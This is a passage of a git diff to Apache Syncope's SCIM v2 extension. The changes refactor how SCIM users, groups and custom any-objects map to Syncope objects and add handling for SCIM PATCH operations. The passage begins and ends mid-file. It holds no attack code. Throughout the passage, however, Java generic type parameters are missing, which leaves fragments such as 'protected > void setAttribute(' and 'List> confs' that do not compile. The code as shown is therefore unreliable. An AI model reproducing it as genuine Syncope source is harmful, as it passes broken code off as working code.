user.getPhoneNumbers()); - fill(userTO.getPlainAttrs(), conf.getUserConf().getIms(), user.getIms()); - fill(userTO.getPlainAttrs(), conf.getUserConf().getPhotos(), user.getPhotos()); + setAttribute( + userTO, + conf.getUserConf().getDisplayName(), + user.getDisplayName()); + + setAttribute( + userTO, + conf.getUserConf().getNickName(), + user.getNickName()); + + setAttribute( + userTO, + conf.getUserConf().getProfileUrl(), + user.getProfileUrl()); + + setAttribute( + userTO, + conf.getUserConf().getTitle(), + user.getTitle()); + + setAttribute( + userTO, + conf.getUserConf().getUserType(), + user.getUserType()); + + setAttribute( + userTO, + conf.getUserConf().getPreferredLanguage(), + user.getPreferredLanguage()); + + setAttribute( + userTO, + conf.getUserConf().getLocale(), + user.getLocale()); + + setAttribute( + userTO, + conf.getUserConf().getTimezone(), + user.getTimezone()); + + setAttribute(userTO.getPlainAttrs(), conf.getUserConf().getEmails(), user.getEmails()); + setAttribute(userTO.getPlainAttrs(), conf.getUserConf().getPhoneNumbers(), user.getPhoneNumbers()); + setAttribute(userTO.getPlainAttrs(), conf.getUserConf().getIms(), user.getIms()); + setAttribute(userTO.getPlainAttrs(), conf.getUserConf().getPhotos(), user.getPhotos()); user.getAddresses().stream().filter(address -> address.getType() != null). forEach(address -> conf.getUserConf().getAddresses().stream(). filter(object -> address.getType().equals(object.getType().name())).findFirst(). ifPresent(addressConf -> { - if (addressConf.getFormatted() != null && address.getFormatted() != null) { - setAttribute(userTO, addressConf.getFormatted(), address.getFormatted()); - } - if (addressConf.getStreetAddress() != null && address.getStreetAddress() != null) { - setAttribute(userTO, addressConf.getStreetAddress(), address.getStreetAddress()); - } - if (addressConf.getLocality() != null && address.getLocality() != null) { - setAttribute(userTO, addressConf.getLocality(), address.getLocality()); - } - if (addressConf.getRegion() != null && address.getRegion() != null) { - setAttribute(userTO, addressConf.getRegion(), address.getRegion()); - } - if (addressConf.getPostalCode() != null && address.getPostalCode() != null) { - setAttribute(userTO, addressConf.getPostalCode(), address.getPostalCode()); - } - if (addressConf.getCountry() != null && address.getCountry() != null) { - setAttribute(userTO, addressConf.getCountry(), address.getCountry()); - } + setAttribute( + userTO, + addressConf.getFormatted(), + address.getFormatted()); + + setAttribute( + userTO, + addressConf.getStreetAddress(), + address.getStreetAddress()); + + setAttribute( + userTO, + addressConf.getLocality(), + address.getLocality()); + + setAttribute( + userTO, + addressConf.getRegion(), + address.getRegion()); + + setAttribute( + userTO, + addressConf.getPostalCode(), + address.getPostalCode()); + + setAttribute( + userTO, + addressConf.getCountry(), + address.getCountry()); })); for (int i = 0; i < user.getX509Certificates().size(); i++) { Value certificate = user.getX509Certificates().get(i); if (conf.getUserConf().getX509Certificates().size() > i) { - setAttribute(userTO, conf.getUserConf().getX509Certificates().get(i), certificate.getValue()); + setAttribute( + userTO, + conf.getUserConf().getX509Certificates().get(i), + certificate.getValue()); } } } - if (conf.getEnterpriseUserConf() != null) { - if (conf.getEnterpriseUserConf().getEmployeeNumber() != null - && user.getEnterpriseInfo().getEmployeeNumber() != null) { - - setAttribute(userTO, conf.getEnterpriseUserConf().getEmployeeNumber(), - user.getEnterpriseInfo().getEmployeeNumber()); - } - if (conf.getEnterpriseUserConf().getCostCenter() != null - && user.getEnterpriseInfo().getCostCenter() != null) { - - setAttribute(userTO, conf.getEnterpriseUserConf().getCostCenter(), - user.getEnterpriseInfo().getCostCenter()); - } - if (conf.getEnterpriseUserConf().getOrganization() != null - && user.getEnterpriseInfo().getOrganization() != null) { - - setAttribute(userTO, conf.getEnterpriseUserConf().getOrganization(), - user.getEnterpriseInfo().getOrganization()); - } - if (conf.getEnterpriseUserConf().getDivision() != null - && user.getEnterpriseInfo().getDivision() != null) { - - setAttribute(userTO, conf.getEnterpriseUserConf().getDivision(), - user.getEnterpriseInfo().getDivision()); - } - if (conf.getEnterpriseUserConf().getDepartment() != null - && user.getEnterpriseInfo().getDepartment() != null) { - - setAttribute(userTO, conf.getEnterpriseUserConf().getDepartment(), - user.getEnterpriseInfo().getDepartment()); - } - if (conf.getEnterpriseUserConf().getManager() != null - && conf.getEnterpriseUserConf().getManager().getKey() != null - && user.getEnterpriseInfo().getManager() != null - && user.getEnterpriseInfo().getManager().getValue() != null) { + if (conf.getEnterpriseUserConf() != null && user.getEnterpriseInfo() != null) { + setAttribute( + userTO, + conf.getEnterpriseUserConf().getEmployeeNumber(), + user.getEnterpriseInfo().getEmployeeNumber()); + + setAttribute( + userTO, + conf.getEnterpriseUserConf().getCostCenter(), + user.getEnterpriseInfo().getCostCenter()); + + setAttribute( + userTO, + conf.getEnterpriseUserConf().getOrganization(), + user.getEnterpriseInfo().getOrganization()); + + setAttribute( + userTO, + conf.getEnterpriseUserConf().getDivision(), + user.getEnterpriseInfo().getDivision()); + + setAttribute( + userTO, + conf.getEnterpriseUserConf().getDepartment(), + user.getEnterpriseInfo().getDepartment()); + + setAttribute( + userTO, + Optional.ofNullable(conf.getEnterpriseUserConf().getManager()). + map(SCIMManagerConf::getKey).orElse(null), + Optional.ofNullable(user.getEnterpriseInfo().getManager()). + map(SCIMUserManager::getValue).orElse(null)); + } - setAttribute(userTO, conf.getEnterpriseUserConf().getManager().getKey(), - user.getEnterpriseInfo().getManager().getValue()); - } + if (conf.getExtensionUserConf() != null && user.getExtensionInfo() != null) { + conf.getExtensionUserConf().asMap().forEach((scimAttr, syncopeAttr) -> setAttribute( + userTO, syncopeAttr, user.getExtensionInfo().getAttributes().get(scimAttr))); } userTO.getMemberships().addAll(user.getGroups().stream(). @@ -595,70 +1054,478 @@ public UserTO toUserTO(final SCIMUser user) { } public UserCR toUserCR(final SCIMUser user) { - UserTO userTO = toUserTO(user); + UserTO userTO = toUserTO(user, true); UserCR userCR = new UserCR(); EntityTOUtils.toAnyCR(userTO, userCR); return userCR; } - protected void setAttribute(final UserTO userTO, final String schema, final String value) { + protected void setAttribute( + final UserTO before, + final UserUR userUR, + final String schema, + final String value, + final SCIMPatchOperation op) { + if (schema == null || value == null) { + return; + } switch (schema) { case "username": - userTO.setUsername(value); + if (!value.equals(before.getUsername()) && userUR.getUsername() == null) { + userUR.setUsername(new StringReplacePatchItem.Builder() + .value(value).operation(PatchOperation.ADD_REPLACE).build()); + } break; default: - userTO.getPlainAttrs().add(new Attr.Builder(schema).value(value).build()); + if ((before.getPlainAttr(schema).isEmpty() + || !value.equals(before.getPlainAttr(schema).get().getValues().get(0))) + && userUR.getPlainAttrs().stream().noneMatch(attrPatch -> + attrPatch.getAttr().getSchema().equals(schema)) + && op.getOp() != PatchOp.remove) { + userUR.getPlainAttrs().add(new AttrPatch.Builder(new Attr.Builder(schema).value(value).build()) + .operation(PatchOperation.ADD_REPLACE) + .build()); + } + if (before.getPlainAttr(schema).isPresent() + && userUR.getPlainAttrs().stream().noneMatch(attrPatch -> + attrPatch.getAttr().getSchema().equals(schema)) + && op.getOp() == PatchOp.remove) { + userUR.getPlainAttrs().add(new AttrPatch.Builder(new Attr.Builder(schema).build()) + .operation(PatchOperation.DELETE) + .build()); + } } } + protected void setAttribute(final Set attrs, final String schema, final SCIMPatchOperation op) { + Optional.ofNullable(schema).ifPresent(a -> { + Attr.Builder attr = new Attr.Builder(a); + if (!CollectionUtils.isEmpty(op.getValue())) { + attr.value(op.getValue().get(0).toString()); + } + + attrs.add(new AttrPatch.Builder(attr.build()). + operation(op.getOp() == PatchOp.remove ? PatchOperation.DELETE : PatchOperation.ADD_REPLACE). + build()); + }); + } + + protected > void setAttribute( + final Set attrs, + final List> confs, + final SCIMPatchOperation op) { + + confs.stream(). + filter(conf -> BooleanUtils.toBoolean(JexlUtils.evaluateExpr( + filter2JexlExpression(op.getPath().getFilter()), + new MapContext(Map.of("type", conf.getType().name()))).toString())).findFirst(). + ifPresent(conf -> { + if (op.getPath().getSub() == null || "display".equals(op.getPath().getSub())) { + setAttribute(attrs, conf.getDisplay(), op); + } + if (op.getPath().getSub() == null || "value".equals(op.getPath().getSub())) { + setAttribute(attrs, conf.getValue(), op); + } + }); + } + + protected > void setAttribute( + final Set attrs, + final List> confs, + final List values, + final PatchOp patchOp) { + + values.stream(). + filter(value -> value.getType() != null).forEach(value -> confs.stream(). + filter(conf -> value.getType().equals(conf.getType().name())).findFirst(). + ifPresent(conf -> attrs.add(new AttrPatch.Builder( + new Attr.Builder(conf.getValue()).value(value.getValue()).build()). + operation(patchOp == PatchOp.remove ? PatchOperation.DELETE : PatchOperation.ADD_REPLACE). + build()))); + } + + protected void setAttribute( + final Set attrs, + final SCIMUserAddressConf conf, + final SCIMPatchOperation op) { + + if (op.getPath().getSub() == null || "formatted".equals(op.getPath().getSub())) { + setAttribute(attrs, conf.getFormatted(), op); + } + if (op.getPath().getSub() == null || "streetAddress".equals(op.getPath().getSub())) { + setAttribute(attrs, conf.getStreetAddress(), op); + } + if (op.getPath().getSub() == null || "locality".equals(op.getPath().getSub())) { + setAttribute(attrs, conf.getLocality(), op); + } + if (op.getPath().getSub() == null || "region".equals(op.getPath().getSub())) { + setAttribute(attrs, conf.getRegion(), op); + } + if (op.getPath().getSub() == null || "postalCode".equals(op.getPath().getSub())) { + setAttribute(attrs, conf.getPostalCode(), op); + } + if (op.getPath().getSub() == null || "country".equals(op.getPath().getSub())) { + setAttribute(attrs, conf.getCountry(), op); + } + } + + public Pair, StatusR> toUserUpdate( + final UserTO before, + final SCIMPatchOp patch) { + AtomicReference statusR = new AtomicReference<>(); + List userURs = new ArrayList<>(); + UserUR userUR = new UserUR.Builder(before.getKey()).build(); + userURs.add(userUR); + List resources = new ArrayList<>(before.getResources()); + AtomicInteger numberUR = new AtomicInteger(); + + patch.getOperations().forEach(op -> { + if (op.getPath() == null && op.getOp() != PatchOp.remove + && !CollectionUtils.isEmpty(op.getValue()) && op.getValue().get(0) instanceof SCIMUser) { + SCIMUser after = (SCIMUser) op.getValue().get(0); + if (after.getActive() != null && before.isSuspended() == after.isActive()) { + statusR.set(new StatusR.Builder( + before.getKey(), + after.isActive() ? StatusRType.REACTIVATE : StatusRType.SUSPEND) + .resources(resources) + .build()); + } + if (!after.getGroups().isEmpty()) { + String groupKey = after.getGroups().get(0).getValue(); + org.apache.syncope.core.persistence.api.entity.group.Group group = groupDAO.find(groupKey); + if (group != null && before.getMembership(groupKey).isEmpty()) { + List filteredResources = group.getResources().stream() + .filter(resource -> resource.getProvisions().stream().anyMatch(provision -> + AnyTypeKind.USER.name().equals(provision.getAnyType()))) + .collect(Collectors.toList()); + filteredResources.forEach(resource -> resources.add(resource.getKey())); + if (!filteredResources.isEmpty()) { + UserUR newUserUR = new UserUR.Builder(before.getKey()).build(); + userURs.add(newUserUR); + numberUR.getAndIncrement(); + } + } + } + populateUserUR(userURs.get(numberUR.get()), before, after, resources, op); + return; + } + SCIMConf conf = confManager.get(); + if (conf == null) { + return; + } + switch (op.getPath().getAttribute()) { + case "externalId": + setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), conf.getUserConf().getExternalId(), op); + break; + + case "userName": + if (op.getOp() != PatchOp.remove && !CollectionUtils.isEmpty(op.getValue())) { + userURs.get(numberUR.get()).setUsername(new StringReplacePatchItem.Builder(). + value(op.getValue().get(0).toString()).build()); + } + break; + + case "password": + if (op.getOp() != PatchOp.remove && !CollectionUtils.isEmpty(op.getValue())) { + userURs.get(numberUR.get()).setPassword(new PasswordPatch.Builder(). + value(op.getValue().get(0).toString()). + resources(resources). + build()); + } + break; + + case "active": + if (!CollectionUtils.isEmpty(op.getValue())) { + + // Workaround for Microsoft Entra being not SCIM compliant on PATCH requests + if (op.getValue().get(0) instanceof String) { + String a = (String) op.getValue().get(0); + op.setValue(List.of(BooleanUtils.toBoolean(a))); + } + + statusR.set(new StatusR.Builder( + before.getKey(), + (boolean) op.getValue().get(0) ? StatusRType.REACTIVATE : StatusRType.SUSPEND). + resources(resources). + build()); + } + break; + + case "name": + if (conf.getUserConf().getName() != null) { + if (op.getPath().getSub() == null || "familyName".equals(op.getPath().getSub())) { + setAttribute( + userURs.get(numberUR.get()).getPlainAttrs(), + conf.getUserConf().getName().getFamilyName(), + op); + } + if (op.getPath().getSub() == null || "formatted".equals(op.getPath().getSub())) { + setAttribute( + userURs.get(numberUR.get()).getPlainAttrs(), + conf.getUserConf().getName().getFormatted(), + op); + } + if (op.getPath().getSub() == null || "givenName".equals(op.getPath().getSub())) { + setAttribute( + userURs.get(numberUR.get()).getPlainAttrs(), + conf.getUserConf().getName().getGivenName(), + op); + } + if (op.getPath().getSub() == null || "honorificPrefix".equals(op.getPath().getSub())) { + setAttribute( + userURs.get(numberUR.get()).getPlainAttrs(), + conf.getUserConf().getName().getHonorificPrefix(), + op); + } + if (op.getPath().getSub() == null || "honorificSuffix".equals(op.getPath().getSub())) { + setAttribute( + userURs.get(numberUR.get()).getPlainAttrs(), + conf.getUserConf().getName().getHonorificSuffix(), + op); + } + if (op.getPath().getSub() == null || "middleName".equals(op.getPath().getSub())) { + setAttribute( + userURs.get(numberUR.get()).getPlainAttrs(), + conf.getUserConf().getName().getMiddleName(), + op); + } + } + break; + + case "displayName": + setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), conf.getUserConf().getDisplayName(), op); + break; + + case "nickName": + setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), conf.getUserConf().getNickName(), op); + break; + + case "profileUrl": + setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), conf.getUserConf().getProfileUrl(), op); + break; + + case "title": + setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), conf.getUserConf().getTitle(), op); + break; + + case "userType": + setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), conf.getUserConf().getUserType(), op); + break; + + case "preferredLanguage": + setAttribute( + userURs.get(numberUR.get()).getPlainAttrs(), conf.getUserConf().getPreferredLanguage(), op); + break; + + case "locale": + setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), conf.getUserConf().getLocale(), op); + break; + + case "timezone": + setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), conf.getUserConf().getTimezone(), op); + break; + + case "emails": + if (!CollectionUtils.isEmpty(op.getValue()) && op.getValue().get(0) instanceof SCIMUser) { + setAttribute( + userURs.get(numberUR.get()).getPlainAttrs(), + conf.getUserConf().getEmails(), + ((SCIMUser) op.getValue().get(0)).getEmails(), + op.getOp()); + } else if (op.getPath().getFilter() != null) { + setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), conf.getUserConf().getEmails(), op); + } + break; + + case "phoneNumbers": + if (!CollectionUtils.isEmpty(op.getValue()) && op.getValue().get(0) instanceof SCIMUser) { + setAttribute( + userURs.get(numberUR.get()).getPlainAttrs(), + conf.getUserConf().getPhoneNumbers(), + ((SCIMUser) op.getValue().get(0)).getPhoneNumbers(), + op.getOp()); + } else if (op.getPath().getFilter() != null) { + setAttribute( + userURs.get(numberUR.get()).getPlainAttrs(), conf.getUserConf().getPhoneNumbers(), op); + } + break; + + case "ims": + if (!CollectionUtils.isEmpty(op.getValue()) && op.getValue().get(0) instanceof SCIMUser) { + setAttribute( + userURs.get(numberUR.get()).getPlainAttrs(), + conf.getUserConf().getIms(), + ((SCIMUser) op.getValue().get(0)).getIms(), + op.getOp()); + } else if (op.getPath().getFilter() != null) { + setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), conf.getUserConf().getIms(), op); + } + break; + + case "photos": + if (!CollectionUtils.isEmpty(op.getValue()) && op.getValue().get(0) instanceof SCIMUser) { + setAttribute( + userURs.get(numberUR.get()).getPlainAttrs(), + conf.getUserConf().getPhotos(), + ((SCIMUser) op.getValue().get(0)).getPhotos(), + op.getOp()); + } else if (op.getPath().getFilter() != null) { + setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), conf.getUserConf().getPhotos(), op); + } + break; + + case "addresses": + if (!CollectionUtils.isEmpty(op.getValue()) && op.getValue().get(0) instanceof SCIMUser) { + SCIMUser after = (SCIMUser) op.getValue().get(0); + after.getAddresses().stream().filter(address -> address.getType() != null). + forEach(address -> conf.getUserConf().getAddresses().stream(). + filter(object -> address.getType().equals(object.getType().name())).findFirst(). + ifPresent(addressConf -> + setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), addressConf, op))); + } else if (op.getPath().getFilter() != null) { + conf.getUserConf().getAddresses().stream(). + filter(addressConf -> BooleanUtils.toBoolean(JexlUtils.evaluateExpr( + filter2JexlExpression(op.getPath().getFilter()), + new MapContext(Map.of("type", addressConf.getType().name()))).toString())). + findFirst(). + ifPresent(addressConf -> + setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), addressConf, op)); + } + break; + + case "employeeNumber": + setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), + Optional.ofNullable(conf.getEnterpriseUserConf()). + map(SCIMEnterpriseUserConf::getEmployeeNumber).orElse(null), op); + break; + + case "costCenter": + setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), + Optional.ofNullable(conf.getEnterpriseUserConf()). + map(SCIMEnterpriseUserConf::getCostCenter).orElse(null), op); + break; + + case "organization": + setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), + Optional.ofNullable(conf.getEnterpriseUserConf()). + map(SCIMEnterpriseUserConf::getOrganization).orElse(null), op); + break; + + case "division": + setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), + Optional.ofNullable(conf.getEnterpriseUserConf()). + map(SCIMEnterpriseUserConf::getDivision).orElse(null), op); + break; + + case "department": + setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), + Optional.ofNullable(conf.getEnterpriseUserConf()). + map(SCIMEnterpriseUserConf::getDepartment).orElse(null), op); + break; + + case "manager": + setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), + Optional.ofNullable(conf.getEnterpriseUserConf()). + map(SCIMEnterpriseUserConf::getManager).map(SCIMManagerConf::getKey).orElse(null), op); + break; + + default: + Optional.ofNullable(conf.getExtensionUserConf()). + flatMap(schema -> + Optional.ofNullable(schema.asMap().get(op.getPath().getAttribute()))). + ifPresent(schema -> setAttribute(userURs.get(numberUR.get()).getPlainAttrs(), schema, op)); + } + }); + return Pair.of(userURs, statusR.get()); + } + + @Transactional(readOnly = true) public SCIMGroup toSCIMGroup( final GroupTO groupTO, final String location, final List attributes, final List excludedAttributes) { + SCIMConf conf = confManager.get(); + List schemas = new ArrayList<>(); + schemas.add(Resource.Group.schema()); + if (conf.getExtensionGroupConf() != null) { + schemas.add(Resource.ExtensionGroup.schema()); + } + SCIMGroup group = new SCIMGroup( groupTO.getKey(), + schemas, new Meta( - Resource.Group, + Resource.Group.name(), groupTO.getCreationDate(), - groupTO.getLastChangeDate() == null - ? groupTO.getCreationDate() : groupTO.getLastChangeDate(), + Optional.ofNullable(groupTO.getLastChangeDate()).orElse(groupTO.getCreationDate()), groupTO.getETagValue(), location), output(attributes, excludedAttributes, "displayName", groupTO.getName())); + Map attrs = new HashMap<>(); + attrs.putAll(EntityTOUtils.buildAttrMap(groupTO.getPlainAttrs())); + attrs.putAll(EntityTOUtils.buildAttrMap(groupTO.getDerAttrs())); + attrs.putAll(EntityTOUtils.buildAttrMap(groupTO.getVirAttrs())); + + if (output(attributes, excludedAttributes, "externalId") + && conf.getGroupConf() != null + && conf.getGroupConf().getExternalId() != null + && attrs.containsKey(conf.getGroupConf().getExternalId())) { + + group.setExternalId(attrs.get(conf.getGroupConf().getExternalId()).getValues().get(0)); + } + MembershipCond membCond = new MembershipCond(); membCond.setGroup(groupTO.getKey()); SearchCond searchCond = SearchCond.getLeaf(membCond); + if (conf.getExtensionGroupConf() != null) { + SCIMExtensionInfo extensionInfo = new SCIMExtensionInfo(); + conf.getExtensionGroupConf().asMap().forEach((scimAttr, syncopeAttr) -> { + if (output(attributes, excludedAttributes, scimAttr) && attrs.containsKey(syncopeAttr)) { + extensionInfo.getAttributes().put(scimAttr, attrs.get(syncopeAttr).getValues().get(0)); + } + }); + + if (!extensionInfo.isEmpty()) { + group.setExtensionInfo(extensionInfo); + } + } + if (output(attributes, excludedAttributes, "members")) { - int count = userLogic.search(searchCond, - 1, 1, List.of(), SyncopeConstants.ROOT_REALM, true, false).getLeft(); + int count = userLogic.search( + searchCond, 1, 1, List.of(), SyncopeConstants.ROOT_REALM, true, false).getLeft(); for (int page = 1; page <= (count / AnyDAO.DEFAULT_PAGE_SIZE) + 1; page++) { - List users = userLogic.search( - searchCond, + List users = groupDAO.findUMemberships( + Optional.ofNullable(groupDAO.find(groupTO.getKey())) + .orElseThrow(() -> new NotFoundException("Group " + groupTO.getKey())), page, - AnyDAO.DEFAULT_PAGE_SIZE, - List.of(), - SyncopeConstants.ROOT_REALM, - true, - false). - getRight(); - users.forEach(userTO -> group.getMembers().add(new Member( - userTO.getKey(), - StringUtils.substringBefore(location, "/Groups") + "/Users/" + userTO.getKey(), - userTO.getUsername()))); + AnyDAO.DEFAULT_PAGE_SIZE); + users.forEach(uMembership -> group.getMembers().add(new Member( + uMembership.getLeftEnd().getKey(), + StringUtils.substringBefore(location, "/Groups") + "/Users/" + uMembership.getKey(), + uMembership.getLeftEnd().getUsername()))); } } return group; } - public static GroupTO toGroupTO(final SCIMGroup group) { - if (!GROUP_SCHEMAS.equals(group.getSchemas())) { + public GroupTO toGroupTO(final SCIMGroup group, final boolean checkSchemas) { + SCIMConf conf = confManager.get(); + Set expectedSchemas = new HashSet<>(); + expectedSchemas.add(Resource.Group.schema()); + if (conf.getExtensionGroupConf() != null) { + expectedSchemas.add(Resource.ExtensionGroup.schema()); + } + if (checkSchemas + && (!group.getSchemas().containsAll(expectedSchemas) + || !expectedSchemas.containsAll(group.getSchemas()))) { + throw new BadRequestException(ErrorType.invalidValue); } @@ -666,14 +1533,187 @@ public static GroupTO toGroupTO(final SCIMGroup group) { groupTO.setRealm(SyncopeConstants.ROOT_REALM); groupTO.setKey(group.getId()); groupTO.setName(group.getDisplayName()); + + if (conf.getGroupConf() != null + && conf.getGroupConf().getExternalId() != null && group.getExternalId() != null) { + + groupTO.getPlainAttrs().add( + new Attr.Builder(conf.getGroupConf().getExternalId()). + value(group.getExternalId()).build()); + } + + if (conf.getExtensionGroupConf() != null && group.getExtensionInfo() != null) { + conf.getExtensionGroupConf().asMap().forEach((scimAttr, syncopeAttr) -> setAttribute( + groupTO, syncopeAttr, group.getExtensionInfo().getAttributes().get(scimAttr))); + } + return groupTO; } - public static GroupCR toGroupCR(final SCIMGroup group) { - if (!GROUP_SCHEMAS.equals(group.getSchemas())) { + public GroupCR toGroupCR(final SCIMGroup group) { + GroupTO groupTO = toGroupTO(group, true); + GroupCR groupCR = new GroupCR(); + EntityTOUtils.toAnyCR(groupTO, groupCR); + return groupCR; + } + + public GroupUR toGroupUR(final GroupTO before, final SCIMPatchOperation op) { + if (op.getPath() == null) { + throw new UnsupportedOperationException("Empty path not supported for Groups"); + } + + GroupUR groupUR = new GroupUR.Builder(before.getKey()).build(); + + if ("displayName".equals(op.getPath().getAttribute())) { + StringReplacePatchItem.Builder name = new StringReplacePatchItem.Builder(). + operation(op.getOp() == PatchOp.remove ? PatchOperation.DELETE : PatchOperation.ADD_REPLACE); + if (!CollectionUtils.isEmpty(op.getValue())) { + name.value(op.getValue().get(0).toString()); + } + groupUR.setName(name.build()); + } else { + SCIMConf conf = confManager.get(); + if (conf.getGroupConf() != null && "externalId".equals(op.getPath().getAttribute())) { + setAttribute(groupUR.getPlainAttrs(), conf.getGroupConf().getExternalId(), op); + } + if (conf.getExtensionGroupConf() != null) { + Optional.ofNullable(conf.getExtensionGroupConf()). + flatMap(schema -> Optional.ofNullable(schema.asMap().get(op.getPath().getAttribute()))). + ifPresent(schema -> setAttribute(groupUR.getPlainAttrs(), schema, op)); + } + } + + return groupUR; + } + + public SCIMAnyObject toSCIMAnyObject( + final AnyObjectTO anyObjectTO, + final String location, + final List attributes, + final List excludedAttributes) { + SCIMConf conf = confManager.get(); + List schemas = new ArrayList<>(); + SCIMExtensionAnyObjectConf scimExtensionAnyObjectConf = + conf.getExtensionAnyObjectsConf().stream() + .filter(scimExtAnyObjectConf -> scimExtAnyObjectConf.getType().equals(anyObjectTO.getType())) + .findFirst() + .orElseThrow(() -> new NotFoundException("SCIMExtensionAnyObjectConf not found")); + schemas.add("urn:ietf:params:scim:schemas:extension:syncope:2.0:" + scimExtensionAnyObjectConf.getType()); + + SCIMAnyObject anyObject = new SCIMAnyObject( + anyObjectTO.getKey(), + schemas, + new Meta( + "urn:ietf:params:scim:schemas:extension:syncope:2.0:" + + scimExtensionAnyObjectConf.getType(), + anyObjectTO.getCreationDate(), + Optional.ofNullable(anyObjectTO.getLastChangeDate()).orElse(anyObjectTO.getCreationDate()), + anyObjectTO.getETagValue(), + location), + output(attributes, excludedAttributes, "displayName", anyObjectTO.getName())); + + Map attrs = new HashMap<>(); + attrs.putAll(EntityTOUtils.buildAttrMap(anyObjectTO.getPlainAttrs())); + attrs.putAll(EntityTOUtils.buildAttrMap(anyObjectTO.getDerAttrs())); + attrs.putAll(EntityTOUtils.buildAttrMap(anyObjectTO.getVirAttrs())); + + if (output(attributes, excludedAttributes, "externalId") + && scimExtensionAnyObjectConf.getExternalId() != null + && attrs.containsKey(scimExtensionAnyObjectConf.getExternalId())) { + + anyObject.setExternalId(attrs.get(scimExtensionAnyObjectConf.getExternalId()).getValues().get(0)); + } + + SCIMExtensionInfo extensionInfo = new SCIMExtensionInfo(); + scimExtensionAnyObjectConf.asMap().forEach((scimAttr, syncopeAttr) -> { + if (output(attributes, excludedAttributes, scimAttr) && attrs.containsKey(syncopeAttr)) { + extensionInfo.getAttributes().put(scimAttr, attrs.get(syncopeAttr).getValues().get(0)); + } + }); + + if (!extensionInfo.isEmpty()) { + anyObject.setExtensionInfo(extensionInfo); + } + + return anyObject; + } + + public AnyObjectTO toAnyObjectTO(final SCIMAnyObject anyObject, final boolean checkSchemas) { + SCIMConf conf = confManager.get(); + Set expectedSchemas = new HashSet<>(); + Optional scimExtensionAnyObjectConf = + conf.getExtensionAnyObjectsConf().stream() + .filter(scimExtAnyObjectConf -> + scimExtAnyObjectConf.getType().equals(anyObject.getExtensionUrn() + .substring(anyObject.getExtensionUrn().lastIndexOf(':') + 1))) + .findFirst(); + scimExtensionAnyObjectConf.ifPresent(scimExtAnyObjectConf -> + expectedSchemas.add("urn:ietf:params:scim:schemas:extension:syncope:2.0:" + + scimExtAnyObjectConf.getType())); + if (checkSchemas + && (!anyObject.getSchemas().containsAll(expectedSchemas) + || !expectedSchemas.containsAll(anyObject.getSchemas()))) { + throw new BadRequestException(ErrorType.invalidValue); } - return new GroupCR.Builder(SyncopeConstants.ROOT_REALM, group.getDisplayName()).build(); + AnyObjectTO anyObjectTO = new AnyObjectTO(); + anyObjectTO.setRealm(SyncopeConstants.ROOT_REALM); + anyObjectTO.setKey(anyObject.getId()); + anyObjectTO.setName(anyObject.getDisplayName()); + anyObjectTO.setType(anyObject.getExtensionUrn().substring(anyObject.getExtensionUrn().lastIndexOf(':') + 1)); + + if (scimExtensionAnyObjectConf.isPresent() + && scimExtensionAnyObjectConf.get().getExternalId() != null && anyObject.getExternalId() != null) { + + anyObjectTO.getPlainAttrs().add( + new Attr.Builder(scimExtensionAnyObjectConf.get().getExternalId()). + value(anyObject.getExternalId()).build()); + } + + if (scimExtensionAnyObjectConf.isPresent() && anyObject.getExtensionInfo() != null) { + scimExtensionAnyObjectConf.get().asMap().forEach((scimAttr, syncopeAttr) -> setAttribute( + anyObjectTO, syncopeAttr, anyObject.getExtensionInfo().getAttributes().get(scimAttr))); + } + + return anyObjectTO; + } + + public AnyObjectCR toAnyObjectCR(final SCIMAnyObject anyObject) { + AnyObjectTO anyObjectTO = toAnyObjectTO(anyObject, true); + AnyObjectCR anyObjectCR = new AnyObjectCR(); + EntityTOUtils.toAnyCR(anyObjectTO, anyObjectCR); + return anyObjectCR; + } + + public AnyObjectUR toAnyObjectUR(final AnyObjectTO before, final SCIMPatchOperation op) { + if (op.getPath() == null) { + throw new UnsupportedOperationException("Empty path not supported for AnyObjects"); + } + + AnyObjectUR anyObjectUR = new AnyObjectUR.Builder(before.getKey()).build(); + + if ("displayName".equals(op.getPath().getAttribute())) { + StringReplacePatchItem.Builder name = new StringReplacePatchItem.Builder(). + operation(op.getOp() == PatchOp.remove ? PatchOperation.DELETE : PatchOperation.ADD_REPLACE); + if (!CollectionUtils.isEmpty(op.getValue())) { + name.value(op.getValue().get(0).toString()); + } + anyObjectUR.setName(name.build()); + } else { + SCIMConf conf = confManager.get(); + Optional scimExtensionAnyObjectConf = + conf.getExtensionAnyObjectsConf().stream() + .filter(scimExtAnyObjectConf -> scimExtAnyObjectConf.getType().equals(before.getType())) + .findFirst(); + if (scimExtensionAnyObjectConf.isPresent() && "externalId".equals(op.getPath().getAttribute())) { + setAttribute(anyObjectUR.getPlainAttrs(), scimExtensionAnyObjectConf.get().getExternalId(), op); + } + scimExtensionAnyObjectConf.flatMap(extensionAnyObjectConf -> Optional.of(extensionAnyObjectConf) + .flatMap(schema -> Optional.ofNullable(schema.asMap().get(op.getPath().getAttribute())))) + .ifPresent(schema -> setAttribute(anyObjectUR.getPlainAttrs(), schema, op)); + } + + return anyObjectUR; } } diff --git a/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/SCIMLogic.java b/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/SCIMLogic.java index f300f6f92a3..4a5bbfc844c 100644 --- a/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/SCIMLogic.java +++ b/ext/scimv2/logic/src/main/java/org/apache/syncope/core/logic/SCIMLogic.java @@ -21,6 +21,7 @@ import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.json.JsonMapper; import com.fasterxml.jackson.databind.node.ArrayNode; +import com.fasterxml.jackson.databind.node.ObjectNode; import java.io.IOException; import 